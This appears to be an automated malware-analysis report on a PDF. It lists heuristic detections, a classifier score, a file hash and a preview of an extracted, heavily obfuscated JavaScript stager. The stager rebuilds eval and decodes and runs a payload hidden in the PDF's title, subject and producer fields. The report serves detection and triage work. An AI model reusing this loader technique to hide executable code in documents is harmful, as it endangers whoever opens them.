Malware Insights
The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of a PDF_EVAL heuristic firing suggests that the JavaScript is obfuscated and likely uses eval() to execute its content. The extracted artifact 'javascript_obj0001_000.js' is also noted as suspicious due to script obfuscation indicators. The primary attack pattern is likely the execution of malicious JavaScript embedded within the PDF, which could lead to further exploitation or payload delivery. The confidence is moderate due to the obfuscation making a definitive analysis of the script's exact function difficult.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
vba='.tit2015'.replace(nzxwn,'le'); eval('qru=t'+xmn+vba); drj=('omnsub2015pth').replace(nzxwn,'je'); -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0001_000.js |
pdf-javascript-stream | PDF /JS object 1 at offset 0xC6 | 1382 bytes |
SHA-256: f80462049cea4fa63af10e4a8671d75bea6e7a96f0e07b835ca4cdcd03713f9f |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 6 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
sdfqk='';
ztp='';
hdkx='';
ocxrj=1;
nzxwn=2015;
lfni=nzxwn-ocxrj;
mgrj=11;
omn='AL+$L';
gwok=nzxwn-mgrj;
var h = nzxwn-2013;
gwok=mgrj+2013-2007;
pth='OL~Z';
var x = nzxwn-2007;
var rlz='rxdqe';
wqs='FP*!A';
mqzv=gwok-2007;
xmn='2015s'.replace(nzxwn,'hi');
vba='.tit2015'.replace(nzxwn,'le');
eval('qru=t'+xmn+vba);
drj=('omnsub2015pth').replace(nzxwn,'je');
drj=drj.replace('omn','');
drj=drj.replace('pth','ct');
eval('jcvhe=t'+xmn+'.'+drj);
jcvhe=jcvhe.replace(nzxwn,'al');
jcvhe=jcvhe.replace(rlz,'e');
eval(eval('ecgio=t'+xmn));
eval('osaza=ecgio[jcvhe]');
nplpx='.pro2015cer';
nplpx=osaza('nplpx.replace(nzxwn,"du")');
eval('lyukg=t'+xmn+nplpx);
ztp=gwok+'mqzv';
dia=ztp+'mqzv';
lfni=dia+'ztp';
tcepx=lfni+'lfni';
lyukg=lyukg.replace(omn,'');
gwok=gwok+'mqzv';
lyukg=lyukg.replace(pth,'');
mqzv=gwok+'pth'+'(omn)';
lyukg=lyukg.replace(wqs,'');
abjz='hgkjk'+'wqs'+'(pth)';
hgkjk=abjz+'omn'+'(wqs)';
lyukg=lyukg.replace(omn,'');
hgkjk='pth'+rlz+mqzv;
lyukg=lyukg.replace(pth,'');
kvi='hgkjk'+'hgkjk'+wqs;
lyukg=lyukg.replace(wqs,'');
hgkjk=abjz+'omn'+'(nzxwn)'
lyukg=lyukg.replace(omn,'');
ztp='kvi'+'kvi'+omn;
lyukg=lyukg.replace(pth,'');
dia='ztp'+'kvi'+pth;
lyukg=lyukg.replace(wqs,'');
sqw=osaza(lyukg);
fjzj = qru.split(',');
for (xmeya = mgrj; xmeya < fjzj.length; xmeya++) {
epv = osaza(fjzj[xmeya]);
hdkx += sqw(epv);
}
kvi=nplpx+'2015ztp';
osaza(hdkx);
kvi='dia';
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